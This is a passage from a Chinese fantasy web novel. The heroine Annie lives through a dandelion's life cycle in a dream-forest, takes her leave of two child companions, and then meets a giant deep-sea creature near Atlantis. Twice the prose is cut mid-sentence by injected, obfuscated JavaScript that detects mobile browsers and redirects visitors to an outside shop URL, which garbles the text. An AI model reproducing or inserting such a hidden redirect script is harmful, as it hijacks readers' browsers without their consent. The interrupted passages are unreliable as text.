这一个多月,他们最多的话题就是这些种子,导致小小妮现在一提问,她就想到还没开花的蒲公英。谁知……竟然是问她的。 “也许是和自己有关,所以就多注意了一些吧。” “不管怎样,这是好事。” “是啊……但是……” 她总不能靠种花打败天道。 算了,这么现实的问题还是不要告诉小小妮了。 “想荡秋千吗?我给你们做了小秋千。” 安妮最近的记忆越来越清晰,过去在森林里无忧无虑的日子一一浮现,让她感到无比治愈。 回忆童年真的会微弯嘴角…… “秋千?姐姐你来推我!” 小小妮很喜欢安妮制作的各种东西,即使会飞,也无法抵抗秋千的诱惑。 安妮应声,带着小小妮离开。 花朵目送他们离开,继续悄无声息地生长着。 “我的花一定是最快开放的!” 小小木自豪地说。 其实谁都看得出来,因为向日葵已经有了花苞。顶端的一点黄色十分鲜亮,小小木每次小心翼翼地点上去,都微张着嘴神情柔和。 小小妮才不羡慕呢,每到这个时候,他们又会争论起谁的花最好看。 “木木,你的花还是只有叶子。” 而且看起来并没有成长多少……看来她是等不到阿木木的花盛开了。 阿木木看着自己的花,微微一笑:“不着急,他至少要比你的晚开好几个月吧。” 这么久……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119509|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>安妮都怀疑他是故意的了。 “你还记得小时候的那些花吗?” “当然了……现在想起的越来越多了。” 不得不承认小小妮的养花战术很成功,她在焦急的等待中反而平静了心境。 也不可避免地想到百花节什么的…… “我想在花开之后离开。” 安妮推着小小妮,突然说了一句。 小小妮大概没反应过来,和阿木木聊得好好的安妮怎么突然提到离开的事情。 “别着急呀,这才几个月啊……”小小妮秋千也不坐了,挽住安妮的手臂撒娇,“姐姐,你还没逛完希望之森呢,咱们还有好多游戏可以玩……” 希望之森是“生机”庇佑的世外桃源,经过了千年的成长,哪可能一下子逛完…… “这里太舒适了,不适合我。” 她本来就觉得“生命本源”不适合她,无论做什么都感觉轻松中带着负担。再停留下去也不会有结果的。 她还害怕自己习惯了这里安逸的生活,和树爷爷一样选择隐居了。 “那……那就只有一个多月了……” 小小妮掰着指头计算。 “没关系的,不是还有一个多月吗?” 安妮不忍心让小小妮失落,赶紧安慰:“你已经很棒了,让我想起了小时候亲近自然的好多经历。只可惜……我不适合。” “说不定蒲公英开花那天我就突然领悟到‘生命本源’了呢?” 虽然知道安妮多半是骗人的,小小妮还是吸吸鼻子,同意了。她不愿意也没辙,毕竟安妮有自己的目标和打算,她们终究是要分道扬镳的。 “姐姐,这一个多月你一定要敞开了玩!还要带我一起!” “放心吧,我知道除了打水仗躲猫猫,还有打水漂之类的小游戏,之后咱们全都体验一遍。” 自然的潜力是无穷,她在幼年时就发掘了。 花儿仍旧努力成长着,不管小小妮心中怎么祈祷,仍旧保持着自己的速度。 安妮难得充当了凯德阿姨的角色,也担起了讲故事的任务。一开始是小小妮拉着她培养蒲公英,现在反而是她每天准时打卡。 后来渐渐演变成了群众故事会,因为小小妮不想和自己的花讲悄悄话了,她想和安妮讲。 四个人围坐在一圈,背后的花反而被忽视了。 “太阳真的这么可怕吗?还会偷看?” 小小妮对安妮回忆的凯德阿姨曾经讲过的故事感到不可思议。 毕竟是树精,她肯定喜欢和亲近阳光,对阳光的提供者太阳也就多了份信任和依赖。 种了向日葵的小小木就更激动了:“不可能!太阳那么明亮,怎么可能干这种偷鸡摸狗的事?” “不是太阳,而是神明,太阳只是一个工具罢了。说不定那些星辰也是工具呢。” 安妮抬头,加丁的话在脑海里回荡。 时隔多年,再反思那段被欺骗的经历,她不得不佩服加丁的高明之处。他的很多知识和故事都与她紧密相关,所说的话、所做的事全都有理有据。很多时候,安妮都在想他分享的那些经历到底有几分真几分假。 真假参半总是更容易让人信服。 “你别急着反驳姐姐嘛,说不定太阳没你想象的那么纯洁,就像树爷爷没有我们想象中那么厉害一样……” 小小妮这次没有强硬地纠正小小木,但是所说的话却让安妮为之一动。 很多时候,小小妮其实比小小木成熟很多……尽管她总是先动手打人的那个。 “也许吧……但是我的向日葵一定是最纯洁的!” 小小木梗着脖子据理力争。 确实最纯洁,它的主人也很单纯…… 安妮笑了笑。 “还要听我训练时候的故事吗?” 除去这些和自然有关的小知识,小小妮和小小木最喜欢的就是安妮和金克丝共同度过的五年时光了。 “要要要,姐姐你还没说你哪来的灵感呢!” 小小妮所说的“灵感”是安妮借助含羞草和金克丝玩躲猫猫的游戏。安妮细细描述了游戏过程,但还没来得及讲怎么会利用到含羞草。 当初她可是凭借这个游戏成功让金克丝对自己改观了,激动得辗转反侧睡不着。 “其实也没什么,就是我前一晚想去散散步,没有训练目的地观察一下无妄森林,谁知道偶然发现了含羞草的秘密。当时我在被掐断的含羞草前面蹲了半天呢……” “那看来姐姐你那个时候其实也很关注自然啊!” 安妮没想到小小妮会想到这个,但好像……就是从训练的时候起,她开始学习带着谨慎的态度观察这些植物了。 这在那时候的她看来是绝对的好事,没想到现在反而适得其反了。 但安妮也不后悔,金克丝教给她的东西值得她携带一生,包括时刻对周围的环境保持警惕。 想通了这一点,安妮释然了。要想感知“生命本源”,就要放弃自己的警惕,完全信任和亲近自然。但是她不会放弃自己足足练习了五年才养成的谨慎习惯。 那看来这就是个死局…… 尽管已经确认自己不可能感知到“生命本源”,安妮还是决定在一个多月后离开。这段时间……就当陪着小小妮和小小木好了。 42. 42 “姐姐,我们的花要开了,对吧对吧?” 小小木的向日葵果然是最早开放的,金黄的花瓣十分鲜艳,大老远就能看见,把小小妮看得十分眼馋。 “快了,应该就是这两天吧。” 安妮已经能看见花蕾里模糊柔软的绒絮了。 “姐姐,为什么这个时候你不守着蒲公英呢?看着她开放一定很有成就感。” 小小妮知道安妮在训练时经历了各种挑战后,经常让她展示自己的身法,安妮也很配合。 但静止训练她没耐心看,安妮也就没有展示。 安妮知道自己没办法收服“生命本源”,也就不再思考各种方法了。寻找只是第一步,而她这几个月来连第一步都没做到…… “不用了吧,还有几天我就要离开了,陪着你玩不好么?” “正事更重要,爷爷说了,不能玩物丧志!”小小妮有些焦急,“我之前还答应了姐姐你一定要帮你找到‘生命本源’的,姐姐你不能提前放弃呀!” “唉,好吧,那我在这里休息一晚上好了。” 夜晚讲完故事再过来,也不会影响陪伴小小妮的时间。到时候想熬夜到通宵还是睡觉都可以,她也看不见。 “那姐姐你千万不要睡着了呀,我没关系的,大不了白天陪你补觉,就当这几天玩累了休息休息。” 小小妮的眼神太过认真,答应下来的安妮一阵心虚。天人交战了一会儿,安妮还是妥协了:算了,通宵就通宵吧,又不是没有通宵过…… “嘻嘻,这我就放心了。” 小小妮继续拉着安妮玩耍,只是这一次没有要求安妮做什么耗费体力的活动。 安妮也没把晚上的安排放在心上,直到听完树爷爷的故事,安妮才被小小妮催促着去了种花的地方。 希望之森的气温适宜,空气湿度也刚刚好,夜晚和衣而眠也不会感冒。安妮走到含苞待放的蒲公英前,席地而坐。 蒲公英在微风中轻轻晃动,安妮忍不住戳了戳它的绒絮。软软的,有些刺挠,看起来很少。 安妮小的时候很喜欢吹蒲公英,但是那个时候挑选的都是成熟的,这些丑陋的还没盛开的她看都不会多看一眼。 说是喜欢,其实也不过是喜欢它的有趣,喜欢它好看的模样。 静谧的夜晚没有了小小妮和小小木喧闹的声音,安妮突然觉得开口有些困难。明明之前还能面不改色地对着蒲公英讲故事,现在突然觉得安静了也挺好。 不知道为什么,安妮有些困倦,大概是习惯了这个点睡觉…… 她维持抱膝的动作坐着,一直迷迷糊糊坐了很久——权当训练蹲草丛了。 眼前的景象却越来越模糊,眼皮不停地落下、抬起…… 答应了小小妮不能睡……安妮揉了揉眼睛。她的四肢有些僵硬,站起身踢踢腿扭扭脖子。接着,她往四周看了看,确定空无一人后,安妮清清嗓子,小声对着旁边的蒲公英,开始讲故事。 没办法,总要找点事做。 安妮的声音很轻。之前为了让身边的人听清楚,她一直保持着较高的分贝,但此刻她就好像是在给自己讲故事,温柔轻缓,偶尔还停了停。 “唉,都说昙花一现,不知道昙花盛开到底有多好看。” 安妮突然觉得在一朵花面前谈论其他花多好看有点不礼貌,赶紧弥补:“不过昙花只能在晚上盛开,时间还这么短,有些脆弱——我不喜欢。” 不知道是不是她眼花,面前的蒲公英居然晃着脑袋点了点头。 大概是风。 安妮没在意,接着讲:“也不知道木木究竟种了什么花,看起来一点也不像薄荷。 我觉得神明子其实挺好看的,寓意也高贵,但大概是因为它被作为贵族世家们的象征供奉,更像一个被控制的图腾,所以木木不喜欢吧……” 安妮模糊的视线里,蒲公英居然又重重地点了两下头。 什么情况? 她这次绝对没看错,而且刚刚也没有风。 “你……能听懂我的话?” 安妮试探地问了问,但是面前的蒲公英一动不动。 果然是自己困魔怔了……安妮唾弃刚刚智商掉线的自己。 “我就说,植物怎么可能听得懂……” 安妮碎碎念着,斜瞥一眼,蒲公英轻轻摇晃了下。 难不成有埋伏?安妮警惕地观察周围,但是种花的地方很空旷,根本不可能有陷阱存在。难不成是小小妮的恶作剧?故意让她不睡觉,好逗她玩? 是不是……试探一下就知道了。 安妮坐直了身体,调整声音大小,开始回忆。 “琼脂可以将植物保存起来,让他们在枯萎前保存自己最好的模样,千万年之后也不会改变。而且,琼脂不一定需要砍树搜集,还有别的方法……” 安妮说到这里就停住了。因为她知道如果小小妮在的话,一定会飞出来追问是什么方法。 她这个急性子,听故事恨不得直接到结尾,肯定忍不了第二天再若无其事地询问。 然而等了很久,也没有小小妮的影子。 不是小小妮? 安妮的目光在漆黑的树林里逡巡,找了半天,只有落叶飘下。 她撑在地上的小臂忽然被什么碰了一下,痒痒的。安妮看过去,是蒲公英歪了歪头。 这个幅度……没有风根本做不到。 到底是谁?安妮有些生气。没有伤害她的意思,却戏耍了她这么久……安妮都快怀疑到那个救了自己又把自己扔在山村的神秘人了。 手臂又被碰了一下,这次蒲公英直接光明正大地歪过来了。 “想知道方法?” 蒲公英仍旧来来回回晃动着,颇有种装傻的感觉。安妮微弯嘴角,戏谑地说:“其实……没有别的方法,我骗你的。” 蒲公英可疑地停止了晃动。 安妮舒心了,有种掰回一局的感觉。 “算了,你那么喜欢听故事,给你讲讲好了,反正再过不久我就要走了。” 和一朵蒲公英斤斤计较什么…… 安妮想了想,开始回忆童年时美好的经历。她和小小妮已经说过很多了,但蒲公英并没有听过。 危险的森林却被她打造成充满趣味的乐园,所有的动植物都是天然的玩具……这些体验恐怕没几个孩子会有。尤其是……她还收服了一只大黑熊,遇到了最好的朋友。 安妮有些自豪。 “唉,可惜,那都是小时候的事情了。” 安妮讲起跟着金克丝历练的时光,语气中不无遗憾:“金克丝仗着自己见多识广,用好多特殊的植物坑过我,后来我对周围的环境永远保持警惕,她功不可没。” 但她没有埋怨,一如想通的时候。 “啊……好困……” 安妮讲故事的声音越来越小,断断续续,最后变成了轻柔的呼吸…… 她没有看见,身边的蒲公英悄无声息地打开了花苞。纯白的绒絮渐渐舒展开来,一种微苦的香味弥漫开来。 安妮醒来的时候,周围一片漆黑。她感觉自己好像被包裹在棉花糖里,绵软带着凉意的粘稠物体遍布——但她看不见。 怎么回事?天怎么这么黑? 金克丝曾经专门训练过安妮的夜视能力,因此即使在伸手不见五指的地方,安妮也能看到物体的轮廓。用金克丝的话来说,那就是没有绝对感知,就只能用视力弥补。 但安妮此刻就好像被剥夺了视力。 她尝试着动了动,扩大一点活动范围。效果虽然不明显,但起码头可以转动了。只是无论怎么看,周围还是漆黑得吓人。安妮看到了一些互相挤压的大块物体,但不知道是什么。 虽然没有窒息的危险,但这么压抑的地方,她一刻也不想多呆。 黑暗、静谧,就好像自己当初堕落时的梦境。 安妮不知道为什么,很容易乏力,但只要有一点力气,她就不断尝试往上拱。头顶永远是最明亮的,安妮坚信那里有出口。 不知道过了多久,安妮终于感觉头上的土松动到可以突破了! 没错,就是泥土。虽然不明白自己为什么会被埋,并且在土里待了那么久还没事,但安妮已经搞清楚那漆黑的包裹她的就是土壤。 安妮憋着一口气,不停往上扒土。四肢都被困在身体边,她只能用头慢慢顶,把脚努力蹬。前几天刚下过雨,雨水渗进土壤后,她感觉自己的力量也多了不少。 阳光就在前方,马上就自由了! 还差一点……加油! 安妮给自己打着气,闭眼、咬牙、用力…… 终于! 冲破束缚的那一刻,安妮心中狂喜。她正要站起来,忽然一愣。 她站不起来,或者说,已经站了起来……但,她的视角很不对。 就像完完全全趴在地上,平视地面一样。 她疑惑地抬头,想迈步,却发现自己好像被什么东西禁锢住了,只能保持这个动作。 安妮第一时间冷静下来环顾四周,然后惊觉:自己好像变成了一颗杂草。 因为面前的一片叶子看起来足足有一间房屋那么大,不远处的汪洋大海更像是一滩浑浊的积水,和自己一样高的不是新生长的树木,而是野花野草…… 这样的视角让安妮一阵慌乱。 弱小,并且是从未体验过的前所未有的弱小。 虽然怀疑这只是一个梦境,但真实的触感让安妮不敢有任何放松。闭上眼,她甚至能感觉到脚下松软的土壤。再往下,还有潮湿的触感,似乎只要一用力就可以汲取到水分…… 她往上使劲钻,但眼皮底下的茎直了一下,很快又弯起来。 好像不是杂草……杂草的枝干没有这么细。安妮总觉得眼前的景象有些熟悉,但又想不起来。 当务之急是赶紧离开,因为她觉得这里并不安全。土壤比较潮湿,空气里果香弥漫,说明这里水源充足,还有野果,那动物肯定也是常客。 一个蹄子下去,她连凶手是谁都不知道就要归西了。 但是离开不了……无论安妮怎么努力,她都只能在原地引体向上,根没有挪动分毫。有时候累了,歇一会儿,她还无师自通地开始吸收土壤里的养分。 安妮就这么无谓地挣扎。 没有用。 安妮以为这个梦不会持续很久,她仍旧是安全的,但日复一日睡觉,日复一日醒来……她还是老样子。 可能长高了一些。 难道,她真的莫名其妙地变成了一株植物?安妮有些恐慌,她只能不断回忆以前的经历,以此提醒自己,她是有意识的人。 她会回去的…… 安妮安慰着自己,却感觉地面有些暗。 “滴答。” 头顶被什么重物砸了一下。 安妮瞪大了眼睛,努力抬头。不远处,天空阴云密布,金黄色的闪电掠过,紧接着是轰隆的雷声。她好像看见了一条条即将落地的巨蟒…… “啪嗒。” “啪嗒。” 雨滴越来越密,没有腐蚀效果,但砸到安妮头上,打歪了她的身体。安妮已经生长出几片叶子,此时竭力举高想挡住落下的雨滴,但是……手短。 密集的雨滴一下下砸在安妮头上,凉意弥漫。安妮想挪动到最近的树边,哪怕是比自己高一点大一点的草叶下面也行,但是没用…… 气喘吁吁的安妮纹丝未动,干脆任由雨滴落下。还不如省点力气等待暴风雨的来临…… 狂暴的闪电不断落下,好在目标都是树木。但即使如此,风雨也足够安妮全神贯注地应对。万一被吹飞,她可就没命了…… 安妮第一次感觉到做一株植物的困难:随时随地都可能殒命。 “嘭!” 一条被折断的树枝飞来,安妮感觉自己的腰都要断成两半了。她被迫弯起茎叶,让树枝被吹走,定睛一看……原来只是旁边被连根拔起的小野花,只不过没了花瓣。 也是,真是树枝,她早被砸成泥了。 安妮继续应付四面八方飞来的物体,好在也没有对着她瞄准,只要稍微躲藏一下就好。 安妮累得满头大汗,祈求着该死的大雨快点停止。也不知道寒风吹了多久,周围终于逐渐平静下来。 安妮实在是没有力气了,累得直接趴下。 睡觉。 做植物这么久,也只有睡觉的时候能够放松一点了…… 安妮伸了个懒腰,感觉全身酸痛,似乎是昨天顶着风站立太久了。她正打算慢慢旋转一下恢复力气,眼前突然多了一根庞大的柱子。 一根圆柱形的、毛茸茸的柱子,上面布满了棕色的毛发,尖端是灰黑色的,沾着许多泥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119510|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 土灰尘草屑。往下看去,是分岔的黝黑蹄子…… “喀嚓喀嚓……哞……” 震天响的牛叫声吓得安妮一个激灵。 随后耳边清晰地传来咀嚼草叶的声音,安妮甚至能想象出唾液混合着草料和露水的场景。她打了个寒战,竭力不去看牛埋头的地方。 早死晚死都是死,安妮在被踩死和被咬死之间纠结了好久,终于感觉棕牛准备腾挪离开。只是从眼睛缝里往外一瞟,她就看见又有一堆草被压在活动的牛蹄下——成为棕牛活动筋骨的牺牲品。 也不知道他们还活不活得了…… 算了,现在自身难保,那能考虑这么多…… 正如她所料,哪怕只是微小的动静,也关乎她的性命。安妮忽然有些共情了,面对强大的天道,也许她就是一棵杂草吧。 蚍蜉撼树都夸张了,沧海一粟还差不多…… 安妮遥望天空,叹了口气。她连离开这一隅之地都是奢望,更别提恢复人身了。记忆停留在守候蒲公英的那晚,安妮迷迷糊糊地猜想,是不是被困在她的幻境里了。 只是明明上一次在莱沃的幻境里,她只是个过客…… 何况每天停留在这里能干什么?感受生命的真谛?安妮只感觉到了时光的流逝。 做一株植物真是太辛苦了。 安妮虽然很绝望,但仍然每天生长着。她也不知道自己能长成什么,总归是植物,总归没有任何意义。变成植物的寿命会更短吧,她等下一个轮回再考虑复仇好了。 日子仍旧不咸不淡地过着,安妮偶尔会被突然出现的大型动物吓到,但很快就习惯了。暴风雨偶尔会来临,但每次安然无恙度过后,安妮都会感觉自己又成长了几分。 一株植物的生活真的很无聊,每天面对同样的景色,只能看看天晴后身边又少了哪些伙伴,多了哪些客人。 但安妮却感觉生活好像也挺有意义……如果非要具体说的话,大概是活下来本身就是一种意义。 人们总是四处奔波,不断前行,寻找生命的意义,美其名曰完成梦想,但是植物只能留在原地,于是存在本身就是梦想。 她的存在无法撼动天道,甚至无法在天道眼里留下一丝痕迹,但她自己知道自己还存在。 一切都只是为了自己,也只有自己会关注自己。 连安妮自己都必须承认,曾经的她不会理解路边一棵小草生长出来的艰辛。 多么艰辛…… 安妮看了看自己的手,厚厚的,纹路清晰。暴雨冲刷之后,叶子翠绿鲜亮,充满生机。一次次的磨砺,让她逐渐长高,变得更加顽强。连她自己都没有察觉到,自己已经成熟了。 微风轻拂,安妮享受着难得的午后晴日,却忽然感觉自己好像拔地而起了。 身体变得轻盈,视角逐渐升高。安妮瞪大眼睛,感觉自己轻飘飘的,好像变成气球,逐渐飞上了天空。 她扑棱了两下双手,看见面前的一片叶子晃了晃。 叶子在变大,那株植物逐渐展现出全貌。 细长的茎,宽大的叶,光秃的蕾,上面还有一半洁白的绒絮,正随着微风慢慢脱离。安妮再次努力挥了挥手,那叶子轻轻晃了晃,随后回归平静。安妮知道,某种联系正在被切断。 叶子逐渐变小,植物逐渐变多,地平面上草丛茂密,还有一棵棵小树。安妮视线里,那株蒲公英上的绒絮已经所剩无几。 这就是她……或者说,曾经的她。 在一堆植物里显得如此渺小,马上就要变成绿点消失不见。但又是那么伟大,因为那是曾经她扛过无数风雨,躲过无数动物后竭力生长出来的…… 安妮被吹上高空,这是她第一次用俯视的视角看这个自己努力想要逃离的地方。 绿草茵茵,野花盛放,还有零星的树木。雨后的池塘原来只是一滩滩积水,她一直眺望的那棵大树如今就在自己脚下…… 她就要离开了,这个她破土而出的地方。 她不知道自己能飞多远,也不知道会降落到哪里。也许终点不会再有那么温软潮湿的泥土,也不会有那么沁人心脾的空气。 但一切都是值得的,这是她在一遍遍重复生活后遇到的第一次未知,也是第无数次未知…… 原来这就是蒲公英的一生,一株植物的一生——那么卑微,又那么伟大。 安妮欣喜地看着山川变换,看着日月交替,她好像落入了云端,又好像陷入了沼泽。熟悉的黑暗将她包围,这一次,她无比安心地睡去…… “姐姐……姐姐……” 谁? 是谁? 安妮“噌”地坐起身,眼角处有些冰凉。 她擦了擦泪水,刺目的阳光让视线模糊一片,一如刚刚破土而出的时候…… 破土而出? 安妮环顾四周,抬起雪白的手臂,扭了扭纤细的脖子。是人……她变回人了? “姐姐,我叫你半天呢,你怎么睡得这么沉?” 面前一个小小的布娃娃皱着眉抱怨:“明明说好等一晚上的。” 说好的什么? 安妮看见前面有一株纯白的蒲公英,完全盛开的模样,绒絮仍旧是洁白的。察觉到安妮的视线,她似乎还晃了晃,好像在打招呼。 记忆慢慢回笼,她记得面前的小人是小小妮,自己好像答应了她要通宵不睡觉等蒲公英盛开…… “你是睡懵了吗?”小小木在安妮眼前挥了挥手,“有聚焦啊……” 安妮没有回答,只是看向已经盛开的白色蒲公英。小小妮的黄色蒲公英还含苞待放,她的却一夜之间成熟了。 微风再次吹拂起来,力度渐渐加大,安妮挪动到白色蒲公英面前,她的绒絮正卡在花蕾上,要飘不飘的。 “姐姐,快把风挡住!” 小小妮飞到自己的蒲公英面前。 “挡住干什么?”安妮没动,“让她们离开吧……你不是说了,不要帮蝴蝶破茧吗?” 小小妮默默点点头,乖乖移开了。 安妮看向自己的蒲公英,那些绒絮还扒着花蕾做最后的挣扎。安妮见状小声说:“想离开就离开吧,祝你们好运……” “姐姐,你怎么知道她们想离开?” 安妮看着松手纷飞的绒絮,微微一笑, “我当然知道……” “还有……谢谢。” 43. 43 “姐姐,明明你都感知到‘生命本源’了,为什么还要离开啊……”小小妮拽着安妮的衣袖嘀咕,“找都找到了,还怕收服不了吗?‘生命本源’很柔和的。” “不……”安妮微微摇头,“感知一下就够了……” 她收服不了“生命本源”。原本以为这会是场毫无意义的旅行,却没想到那朵蒲公英最后还是给了她一个身临其境的机会——这已经足够她感激了。 虽然收服不了它,但触碰之后,安妮仍旧感慨万千,毕竟……生命,是多么渺小而伟大的存在啊…… “我要去亚特兰蒂斯了,这次基兰爷爷的避水咒只能用四个月,想多停留也没办法。” 安妮晃了晃手臂,她已经熟悉了上面的传送阵法。 阿木木并不会跟去,那朵他种的花也还没开放。 “我和树爷爷还有些话说。” “那……姐姐你一定要记得想我们……” 小小妮甩了甩安妮的手,扭捏地说,“我每晚都会想你的。” “也会想起你的故事!” 小小木红着脸接话。 “好。” 安妮微笑着答应,看向两个小孩子身后的阿木木。 总有种丈夫要出门游历的感觉,但角色好像互换了一下……安妮被这个想法逗笑,抬手擦拭有些湿润的眼眶:“等我回来,很快。” “我等你。” 阿木木仍旧是平静地站在那里,像一棵挺拔的雪松。 “那……姐姐再见……” 小小妮拉着小小木一步三回头,阿木木紧随其后。 安妮挥手,和他们道别。她和树爷爷其实没有太多悄悄话要讲,转过身的时候,树爷爷已经先一步开口。 “你是想问阿木木那孩子种的什么吧?” “是……”安妮不好意思地挠挠头,掩饰自己的小心思,“我就是有点好奇……” “他种的桔梗。” 桔梗? 安妮一顿。 她记得木木曾经好像并不喜欢桔梗…… “紫色的桔梗,老头子想了好久,总算记得一点,这花曾经好像是高贵的象征。” “高贵?” 那不是神明子吗? “哦,大概是我记岔了吧,但它应该是有等待的意思的。” 有等待的意思……所以凯德阿姨的那个故事也不算完全编造的吧。除了那个故事,安妮再也没有提过任何有关桔梗的花语,她不明白阿木木为什么会种紫色的桔梗。 “想不明白就不要想了,你还有未完的使命。”树爷爷打断安妮的沉思,“祝你好运,安妮。” “谢谢……” 安妮握拳,感受着这位老者沉默的关心。 她找到了“生命之源”,这是隐藏不了的,但是树爷爷并没有询问她为什么不留下来,也没有让她留下来。 这大概就是理解吧。 安妮催动手上的印记,面前很快出现一个传送洞口。这个洞口是贴在地面的,看起来就像一个小水潭,不过里面漆黑一片。 安妮正抬脚准备跳下去,就瞥见右边树旁有个晃动的身影。她挑眉,转过去,估摸着平常谈话的声音远处的人听不见,于是大喊道:“再见!朋友们!” 小小妮见还是暴露了,飞出来,正撞见安妮灿烂的笑容。 真诚、阳光、毫无保留。 “再见!安妮姐姐!再见!” 小小妮和小小木拼命挥着手,感觉因为安妮离开变得空荡的心脏那一块正被填满。 阿木木轻轻摆手,恍惚间好像看见有白色的绒絮在飞舞。 一如那天清晨和安妮告别。 安妮踏入洞口的瞬间,失重感立刻席卷全身,紧接着,好像又被什么冰凉柔软的东西包裹住了。 她皱眉,眼前又是一片黑暗。但好在,这次有了些微的亮光,可以看到轮廓。 海底的轮廓。 传说亚特兰蒂斯宫殿被深海淹没后不知所踪,人鱼族和其中隐藏的宝藏也就没了去向,如此看来……传闻不假。 只是这次传送似乎有些问题,她并没有看到什么宫殿。 基兰的避水咒很高级,没有在她周身形成一个护罩,也没有让她长出什么奇奇怪怪的东西,但是在水中行走游刃有余,漂浮飞行也不是难事。 安妮花几分钟在原地习惯了自己的行动方式。海底有一些发光的生物,但是仅仅能够照亮珊瑚礁石的表面。她在崎岖嶙峋的怪异石头上看不出一点美感,自然也不会乱跑。 甚至……有些害怕。 按道理说,海底压力再大、再黑,也该有一些生物,甚至她都已经做好了被各种巨大丑陋的生物惊吓的准备,但这里什么动物也没有。 她的夜视能力还好,加上植物的微光,以及环境的相对静止,要看到轻微移动的物体应该不难,但是除了安妮游动时惊扰的海草海带,根本没有任何动静。 黑暗、冰冷侵蚀着她的理智。 要赶快找到安全的地方。 但她甚至不敢往稍微黑一点的地方走去。 “你是谁?” 谁?谁在说话? 安妮环住自己,感觉手臂发凉。她并没有碰到海水,避水咒肯定还帮她隔绝了压力和温度,但安妮仍旧感觉自己全身在冒冷汗。 基兰爷爷的帮助很全面,印记自带双向的语言翻译,所以这个怪异的声音真不一定是她的同类。 发现自己刚刚颤抖着却没有发出声音,安妮只能壮着胆子发问:“是谁?” 刚刚的声音好像是从四面八方传来的,但可能只是因为太过巨大让安妮失去了判断。好在声音的主人没有恶意,这悠远沧桑的三个字让安妮立刻想到了树爷爷和基兰爷爷。 这声音也很苍老。 希望他也很友好…… 安妮在原地等了很久,那声音才接着响起。 “比格毛丝,‘深渊’的意思。” 安妮试图辨别声音来源,但只是徒劳。周围真的太黑了,她感觉这声音好像是头顶砸向她的,随即破碎散开在海底。她环顾四周,还是没有任何移动的轮廓。 难道他也是什么植物? 但是叫作“深渊”的植物,怎么可能这么友好?在海底,她没有任何反抗能力,这异客没道理费尽心思诱导她。 安妮心中百转千回,但还是决定敌不动我不动,先友好交谈一番。 实在不行,她先用印记传送回希望之森。大不了被小小妮笑话一阵。 “我叫安妮。你,你好……” “你好。你很冷吗?” 安妮竖着耳朵分析,短短的六个字,立刻让她感觉这个陌生人应该挺实诚的。他的声音虽然很深沉、低哑,但仔细分辨有种老老实实的感觉。 最特别的是回音。之前只觉得声音空灵,现在才知道那是因为这声音好像在山谷里被碰撞过好多次。 难道他真的待在深渊,依靠什么特殊的工具和我对话? “我……有点。”他应该不喜欢撒谎的人,“那个,请问你现在在哪儿?” 安妮想直接问亚特兰蒂斯在哪,但对于这种已经明确有宝藏的遗迹,开门见山地说容易被打…… 她还是先问一下这个名字在圣语里代表“深渊”的朋友需不需要帮助吧,要是她能起点作用,打听的时候也不会尴尬。 “比格毛丝长得很丑,你真的想知道吗?” 他的语气很失落,也很实诚。 安妮立刻摇头,“你放心,我不会嫌弃你的。” 她刚说完,就想咬断自己的舌头:怎么就顺着他的话承认他丑了呢?这个时候不应该安慰他然后说一堆美丑不能随便定义的话吗? 但安妮总感觉自己撒不出谎……果然是黑暗的环境太压抑了。 “那……比格毛丝告诉你,你不要害怕。” 害怕?难不成他丑到惊天地泣鬼神,看见的人都会被吓到? 不至于吧…… “我不害怕。” “那你转身吧,比格毛丝就在你后面。” 身后? 安妮一个激灵,立刻转过身。面前一片漆黑,什么也看不见。低头,之前闪着微光的植物还在,只是照亮的仍旧是那一亩三分地。 前方的黑暗中,有未知的生物…… 安妮被这个认知吓得四肢发软,更吓人的是,她连呼吸都感觉不到,静谧得好像面前只有空气。 “你……你在哪?” “你抬头。” 抬头? 安妮抬头,还是漆黑一片。她有些害怕,往后倒退了两步,把头使劲往上仰,终于在层层黑暗中,看到了两只灰白的……眼睛。 比她的卧室墙壁还大的……眼睛。 安妮的四肢都已经发软,在两个漆黑的比越野轮胎还大四圈的眼球看过来时,几乎要晕过去。 她的手指还在颤动,心脏几乎要跳出喉咙。瞪大的眼睛迟迟无法闭上,干涩的眼眶里全是生理性泪水。她紧咬着没有知觉的下唇,牙齿好像在口腔里咯咯作响。 对深海的恐惧在这一瞬到达极点。 “我就说吧……比格毛丝很丑的。” 那声音十分低沉,安妮这次终于知道了它来自哪里。真的是头顶,真的很悠远…… 她的大脑有一瞬停止了转动,但很快发软的身体逐渐回暖。安妮动了动僵硬的脖子,那是仰头幅度太大保持太久的后果。 “你……你……” 安妮不知道应该说些什么,甚至不知道能问什么。她很想快点逃离,但启动传送阵的次数有限,她不想浪费。 最关键的是,应该传送的最佳时机已经过了,她现在反而清晰地知道这个怪物没有伤害她的打算了。 要死早死了。 她真的被吓软了手脚。 “我很抱歉……也许我应该叫其他人来和你交流的……但他们都只能待在亚特兰蒂斯,女王不允许他们出来。” 这句话的信息量太大,但安妮也知道了重要的一点:这个怪物来自亚特兰蒂斯。 “那个……其实你不是丑,你只是……” 安妮也不确定自己有没有看错,如果那两个巨型圆圈真的是眼睛的话…… “我也不知道怎么评价,我看不见你。” “怎么会看不见?” “这里太黑了。” “哦,抱歉,比格毛丝忘记了,你应该看不清海底。” 这声音真的很符合他的体型——如果他的眼睛真的那么大的话。但他说话很真诚,还会道歉。 “没关系,等我找到照明的物体就可以了。” 